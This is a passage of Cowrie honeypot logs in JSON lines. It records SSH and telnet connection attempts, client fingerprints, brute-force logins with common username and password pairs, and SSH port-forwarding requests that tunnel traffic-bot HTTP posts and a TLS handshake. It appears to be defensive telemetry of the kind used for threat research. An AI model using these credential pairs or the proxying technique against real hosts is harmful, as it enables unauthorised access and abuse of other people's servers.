16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:28:27.455957Z","src_ip":"103.27.238.120","session":"faa2e50294bb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"1q2w3e","message":"login attempt [test/1q2w3e] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:28:27.896637Z","src_ip":"91.92.40.36","session":"a6a6ea4451fe","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"38.0","message":"Connection lost after 38.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:28:28.126466Z","src_ip":"23.148.145.132","session":"13b2e9cb6f74","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"888888q","message":"login attempt [root/888888q] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:28:28.243750Z","src_ip":"103.27.238.120","session":"faa2e50294bb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.7","message":"Connection lost after 3.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:28:29.076197Z","src_ip":"91.92.40.36","session":"a6a6ea4451fe","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:28:29.508206Z","src_ip":"103.27.238.120","session":"faa2e50294bb","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"159.65.2.87","dst_port":80,"src_ip":"63.141.242.2","src_port":0,"message":"direct-tcp connection request to 159.65.2.87:80 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:28:31.329959Z","session":"dd5491d74f72","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"159.65.2.87","dst_port":80,"ja4h":"po11nn10enus_0af5a74ca4c0_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to 159.65.2.87:80: po11nn10enus_0af5a74ca4c0_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:28:31.371412Z","src_ip":"63.141.242.2","session":"dd5491d74f72","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"159.65.2.87","dst_port":80,"data":"b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nConnection: keep-alive\\r\\nContent-Length: 1174\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nAccept-Language: en-US\\r\\nUser-Agent: Mozilla/5.0 (Linux; Android 9.0; SM-A307G/DS) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.101 Mobile Safari/537.36 OPR/77.0.4054.90\\r\\nOrigin: http://api.9hits.com\\r\\nAccept-Encoding: gzip, deflate\\r\\n\\r\\n_=KXV7MGk3ejxeJD9GKD48OA%3D%3DTd95Cyp8t9OaKJJJRwAo6CG0rw1ekljXV9WVKS7yaHs4C2qF1WFGWoPVjTtFRMnyRWpg8YkSa3%2BDqItuFuyxMtyZ%2BnbbDJAfftnmlsBCBlIiZzCRuJexbXRNLvtU9Yh8CQg8nHIFfPp%2Bk1UO%2Bbci%2Bx%2BIctioPN%2FvNXGvDwTF5nsW7PPZ0V9VKv80VQJFi8Q%2BdFLKXdBXCoZ8QLXqaIAYpForIS8BgW%2Bc3qh3pk9qwjDr4S3O39GOiBS3KH7%2FOxMe5OhOyYlr5VKFfLdiWa0q0974MGIZ7lpdlcuM0jB1Tq6USFFQSSgpPH2dw6j0Ll1mygYEi8AZG8fV9zlTHkhOeR3A7a34MiVDFN6KHYktq9VT7mRd3Jl%2Fi7N02XWB2COAzmNurYDN4%2Fc5EONYtWgvtQnLLmXd7OaU1ek8zDBXKYz1bV1qH6rBxas6YespDhMtCpqB%2FGvMLNIiWyJngP6f3AgeDCH1Cv8zE9ESmqIyLIPGDN%2FsjTrW9VeOk%2BNcoVqwPCIZa1pdnr4fXYa1KuVTKafl7%2BvFWqY38Ap44fHuSTtqISupZI6ssPKZ5596PEwyd75yKbzqY1jyhxgm%2B36EmsMh5fansQ%2B1%2BnoW5BDPKtgMeY1B3QDhN5cTWBow0p9LPN18rLENrgu9Lx%2FD9ADk05Nw%2Fs8Z1QMoYbQs6Otq%2BGmLzw%2FOJjCcfnm0ogXZiDvp5gwyhvvom6Kesr2%2F%2FoMEnQpplXlYqvjCopq3XSiVE%2BazMbn6nKovlW3%2B6ku0WptPWhsFf5jMnDWI98I9GqTa6SRUm5ToC8VmMX5Luotvt7c2LRCfjO%2BeF%2FWL5BjKktiLbQpm4FMnUEftYF9VZZZQQj%2Fwd7b%2FdM%2BS9lxUJsgWlm0LHQYAaGK%2BH3V6vB3wlj0mZipqOfxchkdp48cusKAgykSe2Y8uInCTPcsmJfS7oo5TRm1Lu3kucbD0ORVi7CEEyvu%2FoRAYMYu3RT%2BVLNeC%2FtlvvvjWQbOPyOKxfhnXvGhuiapW1p%2Bs9PWCjLpuuMOLgNndfcWnKl4MW61WYpshCRY6FTiu1YfPEP64hjIGppI%3D'","id":0,"message":"discarded direct-tcp forward request 0 to 159.65.2.87:80 with data b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nConnection: keep-alive\\r\\nContent-Length: 1174\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nAccept-Language: en-US\\r\\nUser-Agent: Mozilla/5.0 (Linux; Android 9.0; SM-A307G/DS) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.101 Mobile Safari/537.36 OPR/77.0.4054.90\\r\\nOrigin: http://api.9hits.com\\r\\nAccept-Encoding: gzip, deflate\\r\\n\\r\\n_=KXV7MGk3ejxeJD9GKD48OA%3D%3DTd95Cyp8t9OaKJJJRwAo6CG0rw1ekljXV9WVKS7yaHs4C2qF1WFGWoPVjTtFRMnyRWpg8YkSa3%2BDqItuFuyxMtyZ%2BnbbDJAfftnmlsBCBlIiZzCRuJexbXRNLvtU9Yh8CQg8nHIFfPp%2Bk1UO%2Bbci%2Bx%2BIctioPN%2FvNXGvDwTF5nsW7PPZ0V9VKv80VQJFi8Q%2BdFLKXdBXCoZ8QLXqaIAYpForIS8BgW%2Bc3qh3pk9qwjDr4S3O39GOiBS3KH7%2FOxMe5OhOyYlr5VKFfLdiWa0q0974MGIZ7lpdlcuM0jB1Tq6USFFQSSgpPH2dw6j0Ll1mygYEi8AZG8fV9zlTHkhOeR3A7a34MiVDFN6KHYktq9VT7mRd3Jl%2Fi7N02XWB2COAzmNurYDN4%2Fc5EONYtWgvtQnLLmXd7OaU1ek8zDBXKYz1bV1qH6rBxas6YespDhMtCpqB%2FGvMLNIiWyJngP6f3AgeDCH1Cv8zE9ESmqIyLIPGDN%2FsjTrW9VeOk%2BNcoVqwPCIZa1pdnr4fXYa1KuVTKafl7%2BvFWqY38Ap44fHuSTtqISupZI6ssPKZ5596PEwyd75yKbzqY1jyhxgm%2B36EmsMh5fansQ%2B1%2BnoW5BDPKtgMeY1B3QDhN5cTWBow0p9LPN18rLENrgu9Lx%2FD9ADk05Nw%2Fs8Z1QMoYbQs6Otq%2BGmLzw%2FOJjCcfnm0ogXZiDvp5gwyhvvom6Kesr2%2F%2FoMEnQpplXlYqvjCopq3XSiVE%2BazMbn6nKovlW3%2B6ku0WptPWhsFf5jMnDWI98I9GqTa6SRUm5ToC8VmMX5Luotvt7c2LRCfjO%2BeF%2FWL5BjKktiLbQpm4FMnUEftYF9VZZZQQj%2Fwd7b%2FdM%2BS9lxUJsgWlm0LHQYAaGK%2BH3V6vB3wlj0mZipqOfxchkdp48cusKAgykSe2Y8uInCTPcsmJfS7oo5TRm1Lu3kucbD0ORVi7CEEyvu%2FoRAYMYu3RT%2BVLNeC%2FtlvvvjWQbOPyOKxfhnXvGhuiapW1p%2Bs9PWCjLpuuMOLgNndfcWnKl4MW61WYpshCRY6FTiu1YfPEP64hjIGppI%3D'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:28:31.374412Z","src_ip":"63.141.242.2","session":"dd5491d74f72","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":46946,"dst_ip":"159.203.135.109","dst_port":23,"session":"ca607049f12c","protocol":"telnet","message":"New connection: 172.81.62.90:46946 (159.203.135.109:23) [session: ca607049f12c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:28:32.107045Z"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":35164,"dst_ip":"159.203.135.109","dst_port":22,"session":"a8268325031d","protocol":"ssh","message":"New connection: 91.92.40.36:35164 (159.203.135.109:22) [session: a8268325031d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:28:34.027499Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:28:34.477956Z","src_ip":"91.92.40.36","session":"a8268325031d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:28:35.165392Z","src_ip":"91.92.40.36","session":"a8268325031d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.133.62.83","src_port":60692,"dst_ip":"159.203.135.109","dst_port":22,"session":"f52d6ce8d8a6","protocol":"ssh","message":"New connection: 62.133.62.83:60692 (159.203.135.109:22) [session: f52d6ce8d8a6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:28:35.856638Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:28:35.859887Z","src_ip":"62.133.62.83","session":"f52d6ce8d8a6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:28:35.936515Z","src_ip":"62.133.62.83","session":"f52d6ce8d8a6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"kashmir","message":"login attempt [root/kashmir] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:28:36.173913Z","src_ip":"62.133.62.83","session":"f52d6ce8d8a6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"113.164.152.20","src_port":53967,"dst_ip":"10.17.0.5","dst_port":22,"session":"f811ddb3f3f6","protocol":"ssh","message":"New connection: 113.164.152.20:53967 (10.17.0.5:22) [session: f811ddb3f3f6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:28:36.794785Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.70","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.70","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:28:36.798624Z","src_ip":"113.164.152.20","session":"f811ddb3f3f6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0425c279610910d2d9aef3b285e59b86","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,rsa2048-sha256,rsa1024-sha1,diffie-hellman-group1-sha1;aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-ctr,aes192-cbc,aes128-ctr,aes128-cbc,chacha20-poly1305@openssh.com,blowfish-ctr,blowfish-cbc,3des-ctr,3des-cbc,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-sha2-256-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-etm@openssh.com;none,zlib","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","rsa2048-sha256","rsa1024-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss"],"encCS":["aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-ctr","aes192-cbc","aes128-ctr","aes128-cbc","chacha20-poly1305@openssh.com","blowfish-ctr","blowfish-cbc","3des-ctr","3des-cbc","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-sha2-256-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-etm@openssh.com"],"compCS":["none","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: 0425c279610910d2d9aef3b285e59b86","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:28:37.068872Z","src_ip":"113.164.152.20","session":"f811ddb3f3f6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:28:37.253824Z","src_ip":"62.133.62.83","session":"f52d6ce8d8a6","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin1234","message":"login attempt [admin/admin1234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:28:38.269788Z","src_ip":"113.164.152.20","session":"f811ddb3f3f6","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"159.65.2.87","dst_port":80,"src_ip":"113.164.152.20","src_port":0,"message":"direct-tcp connection request to 159.65.2.87:80 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:28:38.668911Z","session":"f811ddb3f3f6","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"172.67.133.8","dst_port":443,"src_ip":"113.164.152.20","src_port":0,"message":"direct-tcp connection request to 172.67.133.8:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:28:38.824275Z","session":"f811ddb3f3f6","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"159.65.2.87","dst_port":80,"ja4h":"po11nn10enus_0af5a74ca4c0_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to 159.65.2.87:80: po11nn10enus_0af5a74ca4c0_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:28:39.263645Z","src_ip":"113.164.152.20","session":"f811ddb3f3f6","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"159.65.2.87","dst_port":80,"data":"b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nConnection: keep-alive\\r\\nContent-Length: 1186\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nAccept-Language: en-US\\r\\nUser-Agent: Mozilla/5.0 (X11; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3867.146 Safari/537.36 OPR/54.0.4096.46\\r\\nOrigin: http://api.9hits.com\\r\\nAccept-Encoding: gzip, deflate\\r\\n\\r\\n_=WExEWlNXbGQqPGdER2Z4aw%3D%3DTMDzPAtR8eXB%2BSUhUwjDwCykt%2FHuzH1iaZGX7PCwg6XlfUdDlCL4vrEO4QyDqr7ka1tPbPLN55ViA5%2BRtbb%2BYBFm1CibdilNRgO3urA3yus9A8O6Ntlivgre5yz8FlQ2%2BcilAVWXSOYmNbNR%2BF91k%2BeUjwJHV9f08yyPx90PR2GSziGzXDZymeuGloIBo4VXdiJ71B6zlN81LseQMZvA2dniZizBIfsDp5%2Bh3aCSH9e1wewTyrO1pwHFGwnN%2FXDAz%2BUiCMLa%2FUskk%2BW31yrgngJxA1ra22YWfooBvmjj%2BztqBfLREREGf7pAVzQKOoMrxv21muQLeNv7RAoX8uLFrnCBYEfr5Vhr22HRjxZZAWEJaaGu9GtXvmnTs%2Btkh9zGNDkSH84RD%2BM38LsBfw%2BAnvOMi0FolLReW91A5IvedJWM1HJ7o0aQeP20pUKb8DKXhpjEHBvAWaYZT66EKb1xJ0EntLAmREEPG0YskaqVukttHNP1GcPgTtJ%2B88hzIybCH3NXf10nXAGX%2BzoUcjW0Wn1lC%2FaDRHxrnEzNU52Cnodrjb0Rd4okBY3FsE%2BYJ41SLnFlaulnrNpMYUtbNNQS1Gnwi9Jeitr3VJTG6lfGijKwFIjc3U16TXhVV6BfvYeAICA0mvui3VAR7DFu96lShU1rUyEA16fj%2BmE9lsBvFmXeYdgOQKH23i%2F1zrrJPa9ueEEj8Er9mbzaivmPxRnKkVqfuI8nUS3thC6Kt%2BXwJDJ%2BsMjmOmwD0k5t6C7WQwhov7hYNWT%2F%2FT032rMsfza0KzeoRaH4%2Bw3I8iCCfBO4ICVvznX6%2FjFQUahAaihZkW14Ds6UHqsj5KFkC6AfIEEKPHhmQWS%2FpnOW5GJC1wss5Y%2BD9oXsKdFiYEKm4L3rdbTiQF2qlNThT9RDC1LgpOX3BV5aUtGntHjAvcXloguegBddyHbjGrzKTSE8S2rPQE8dFpiUGlQLMmTvnlr92cbRcvd0%2BYQ7lBpsAEzK%2BSUYc9GkS8f3dVd1brEfNJvH787U4kmZNu7rSawlFBhLtyJ99bet46%2B%2BtaMSlgWgbFK3jFidSBXCzwvDYBpDHcWyKlTd'","id":0,"message":"discarded direct-tcp forward request 0 to 159.65.2.87:80 with data b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nConnection: keep-alive\\r\\nContent-Length: 1186\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nAccept-Language: en-US\\r\\nUser-Agent: Mozilla/5.0 (X11; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3867.146 Safari/537.36 OPR/54.0.4096.46\\r\\nOrigin: http://api.9hits.com\\r\\nAccept-Encoding: gzip, deflate\\r\\n\\r\\n_=WExEWlNXbGQqPGdER2Z4aw%3D%3DTMDzPAtR8eXB%2BSUhUwjDwCykt%2FHuzH1iaZGX7PCwg6XlfUdDlCL4vrEO4QyDqr7ka1tPbPLN55ViA5%2BRtbb%2BYBFm1CibdilNRgO3urA3yus9A8O6Ntlivgre5yz8FlQ2%2BcilAVWXSOYmNbNR%2BF91k%2BeUjwJHV9f08yyPx90PR2GSziGzXDZymeuGloIBo4VXdiJ71B6zlN81LseQMZvA2dniZizBIfsDp5%2Bh3aCSH9e1wewTyrO1pwHFGwnN%2FXDAz%2BUiCMLa%2FUskk%2BW31yrgngJxA1ra22YWfooBvmjj%2BztqBfLREREGf7pAVzQKOoMrxv21muQLeNv7RAoX8uLFrnCBYEfr5Vhr22HRjxZZAWEJaaGu9GtXvmnTs%2Btkh9zGNDkSH84RD%2BM38LsBfw%2BAnvOMi0FolLReW91A5IvedJWM1HJ7o0aQeP20pUKb8DKXhpjEHBvAWaYZT66EKb1xJ0EntLAmREEPG0YskaqVukttHNP1GcPgTtJ%2B88hzIybCH3NXf10nXAGX%2BzoUcjW0Wn1lC%2FaDRHxrnEzNU52Cnodrjb0Rd4okBY3FsE%2BYJ41SLnFlaulnrNpMYUtbNNQS1Gnwi9Jeitr3VJTG6lfGijKwFIjc3U16TXhVV6BfvYeAICA0mvui3VAR7DFu96lShU1rUyEA16fj%2BmE9lsBvFmXeYdgOQKH23i%2F1zrrJPa9ueEEj8Er9mbzaivmPxRnKkVqfuI8nUS3thC6Kt%2BXwJDJ%2BsMjmOmwD0k5t6C7WQwhov7hYNWT%2F%2FT032rMsfza0KzeoRaH4%2Bw3I8iCCfBO4ICVvznX6%2FjFQUahAaihZkW14Ds6UHqsj5KFkC6AfIEEKPHhmQWS%2FpnOW5GJC1wss5Y%2BD9oXsKdFiYEKm4L3rdbTiQF2qlNThT9RDC1LgpOX3BV5aUtGntHjAvcXloguegBddyHbjGrzKTSE8S2rPQE8dFpiUGlQLMmTvnlr92cbRcvd0%2BYQ7lBpsAEzK%2BSUYc9GkS8f3dVd1brEfNJvH787U4kmZNu7rSawlFBhLtyJ99bet46%2B%2BtaMSlgWgbFK3jFidSBXCzwvDYBpDHcWyKlTd'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:28:39.267963Z","src_ip":"113.164.152.20","session":"f811ddb3f3f6","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"172.67.133.8","dst_port":443,"ja4":"t12d1515h2_8daaf6152771_5563d4852cd1","message":"JA4 fingerprint for forwarded TLS to 172.67.133.8:443: t12d1515h2_8daaf6152771_5563d4852cd1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:28:39.271128Z","src_ip":"113.164.152.20","session":"f811ddb3f3f6","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"172.67.133.8","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03,~\\xf0\\xf7:\\xabIT\\xaaCWT\\x92\\xf9\\xba\\xbc!_GU*\\xf1\\x92\"\\x1a\\xd1\\xc0\\x8b~\\x92xe f\\x96\\x8a\\xa3\\x86\\x14\\x05.\\xdc\\xb7=\\xe4Od\\xbc!\\x1f\\xaeH[\\xe7\\x11\\x9d\\x9cX\\x9a\\xbf*\\x8a\\xda\\x97_\\x00 jj\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\xba\\xba\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08JJ\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)JJ\\x00\\x01\\x00\\x00\\x1d\\x00 \\x8f\\xee)\\xd8bn\\x19\\x07\\xb8v&S\\x83\\xeao6\\x1e\\x93\\x86\\x0f^9 \\xa0x\\xa5\\xfar\\xfdI!\\x1b\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xba\\xba\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\x9a\\x9a\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\